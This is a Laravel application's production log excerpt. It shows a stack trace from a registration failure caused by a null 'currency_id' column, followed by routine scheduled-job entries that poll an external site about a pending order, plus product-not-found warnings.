#49 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#50 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#51 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#52 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#53 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#54 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#55 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#56 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#57 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#58 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#59 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#60 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#61 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#62 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#63 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#64 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#65 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#66 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#67 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#68 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#69 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#70 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#71 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#72 {main}

[previous exception] [object] (PDOException(code: 23000): SQLSTATE[23000]: Integrity constraint violation: 1048 Column 'currency_id' cannot be null at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/MySqlConnection.php:53)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/MySqlConnection.php(53): PDOStatement->execute()
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Connection.php(813): Illuminate\\Database\\MySqlConnection->{closure:Illuminate\\Database\\MySqlConnection::insert():42}('insert into `us...', Array)
#2 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Connection.php(780): Illuminate\\Database\\Connection->runQueryCallback('insert into `us...', Array, Object(Closure))
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/MySqlConnection.php(42): Illuminate\\Database\\Connection->run('insert into `us...', Array, Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Query/Processors/MySqlProcessor.php(35): Illuminate\\Database\\MySqlConnection->insert('insert into `us...', Array, 'id')
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Query/Builder.php(3853): Illuminate\\Database\\Query\\Processors\\MySqlProcessor->processInsertGetId(Object(Illuminate\\Database\\Query\\Builder), 'insert into `us...', Array, 'id')
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php(2235): Illuminate\\Database\\Query\\Builder->insertGetId(Array, 'id')
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php(1436): Illuminate\\Database\\Eloquent\\Builder->__call('insertGetId', Array)
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php(1401): Illuminate\\Database\\Eloquent\\Model->insertAndSetId(Object(Illuminate\\Database\\Eloquent\\Builder), Array)
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php(1240): Illuminate\\Database\\Eloquent\\Model->performInsert(Object(Illuminate\\Database\\Eloquent\\Builder))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php(1219): Illuminate\\Database\\Eloquent\\Model->save()
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/helpers.php(390): Illuminate\\Database\\Eloquent\\Builder->{closure:Illuminate\\Database\\Eloquent\\Builder::create():1218}(Object(App\\Models\\User))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php(1218): tap(Object(App\\Models\\User), Object(Closure))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Traits/ForwardsCalls.php(23): Illuminate\\Database\\Eloquent\\Builder->create(Array)
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php(2540): Illuminate\\Database\\Eloquent\\Model->forwardCallTo(Object(Illuminate\\Database\\Eloquent\\Builder), 'create', Array)
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php(2556): Illuminate\\Database\\Eloquent\\Model->__call('create', Array)
#16 /home/talaah/public_html/app/Http/Controllers/Auth/RegisteredUserController.php(41): Illuminate\\Database\\Eloquent\\Model::__callStatic('create', Array)
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Auth\\RegisteredUserController->store(Object(Illuminate\\Http\\Request))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('store', Array)
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Auth\\RegisteredUserController), 'store')
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#23 /home/talaah/public_html/app/Http/Middleware/CheckServiceAvailability.php(37): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckServiceAvailability->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'registration')
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/RedirectIfAuthenticated.php(35): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\RedirectIfAuthenticated->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/app/Http/Middleware/RequirePinVerification.php(47): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\RequirePinVerification->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/app/Http/Middleware/TrackSessionActivity.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\TrackSessionActivity->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest(Object(Illuminate\\Http\\Request), Object(Illuminate\\Session\\Store), Object(Closure))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#46 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#47 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#48 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#49 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#50 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#51 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#52 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#53 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#54 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#55 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#56 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#57 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#58 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#59 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#60 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#61 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#62 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#63 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#64 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#65 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#66 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#67 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#68 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#69 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#70 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#71 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#72 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#73 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#74 {main}
"} 
[2026-03-24 07:35:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1763  
[2026-03-24 07:35:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1763  
[2026-03-24 07:36:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"GDG717IvpbFcN1NIzWKBdTOvmIcslTTH","execution_time":"2026-03-24 07:36:01"} 
[2026-03-24 07:36:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"GDG717IvpbFcN1NIzWKBdTOvmIcslTTH","execution_time":"2026-03-24 07:36:01","total_operations":1,"sites_count":1} 
[2026-03-24 07:36:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"GDG717IvpbFcN1NIzWKBdTOvmIcslTTH","execution_time":"2026-03-24 07:36:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:36:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"GDG717IvpbFcN1NIzWKBdTOvmIcslTTH","execution_time":"2026-03-24 07:36:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:36:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"GDG717IvpbFcN1NIzWKBdTOvmIcslTTH","execution_time":"2026-03-24 07:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:36:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GDG717IvpbFcN1NIzWKBdTOvmIcslTTH","execution_time":"2026-03-24 07:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:36:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"GDG717IvpbFcN1NIzWKBdTOvmIcslTTH","execution_time":"2026-03-24 07:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:36:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"GDG717IvpbFcN1NIzWKBdTOvmIcslTTH","execution_time":"2026-03-24 07:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:36:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"GDG717IvpbFcN1NIzWKBdTOvmIcslTTH","execution_time":"2026-03-24 07:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:38:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Nxmvf2A7xOnwtxJvZJHDp7ap2W04tVph","execution_time":"2026-03-24 07:38:01"} 
[2026-03-24 07:38:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Nxmvf2A7xOnwtxJvZJHDp7ap2W04tVph","execution_time":"2026-03-24 07:38:01","total_operations":1,"sites_count":1} 
[2026-03-24 07:38:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Nxmvf2A7xOnwtxJvZJHDp7ap2W04tVph","execution_time":"2026-03-24 07:38:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:38:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Nxmvf2A7xOnwtxJvZJHDp7ap2W04tVph","execution_time":"2026-03-24 07:38:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:38:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Nxmvf2A7xOnwtxJvZJHDp7ap2W04tVph","execution_time":"2026-03-24 07:38:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:38:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Nxmvf2A7xOnwtxJvZJHDp7ap2W04tVph","execution_time":"2026-03-24 07:38:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:38:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Nxmvf2A7xOnwtxJvZJHDp7ap2W04tVph","execution_time":"2026-03-24 07:38:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:38:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Nxmvf2A7xOnwtxJvZJHDp7ap2W04tVph","execution_time":"2026-03-24 07:38:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:38:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Nxmvf2A7xOnwtxJvZJHDp7ap2W04tVph","execution_time":"2026-03-24 07:38:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:40:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"WbnMJ5eZxB9RepI2Ai99hkLbWL9S2BlX","execution_time":"2026-03-24 07:40:01"} 
[2026-03-24 07:40:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"WbnMJ5eZxB9RepI2Ai99hkLbWL9S2BlX","execution_time":"2026-03-24 07:40:01","total_operations":1,"sites_count":1} 
[2026-03-24 07:40:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"WbnMJ5eZxB9RepI2Ai99hkLbWL9S2BlX","execution_time":"2026-03-24 07:40:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:40:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"WbnMJ5eZxB9RepI2Ai99hkLbWL9S2BlX","execution_time":"2026-03-24 07:40:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:40:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"WbnMJ5eZxB9RepI2Ai99hkLbWL9S2BlX","execution_time":"2026-03-24 07:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:40:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"WbnMJ5eZxB9RepI2Ai99hkLbWL9S2BlX","execution_time":"2026-03-24 07:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:40:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"WbnMJ5eZxB9RepI2Ai99hkLbWL9S2BlX","execution_time":"2026-03-24 07:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:40:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"WbnMJ5eZxB9RepI2Ai99hkLbWL9S2BlX","execution_time":"2026-03-24 07:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:40:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"WbnMJ5eZxB9RepI2Ai99hkLbWL9S2BlX","execution_time":"2026-03-24 07:40:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:40:02] production.INFO: Executing GetProducts task...  
[2026-03-24 07:40:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 07:40:02] production.INFO: Executing GetProducts task...  
[2026-03-24 07:40:03] production.INFO: async() رجع: true  
[2026-03-24 07:40:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 07:40:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 07:40:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 07:40:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 07:40:04] production.WARNING: Product with ID 211 not found  
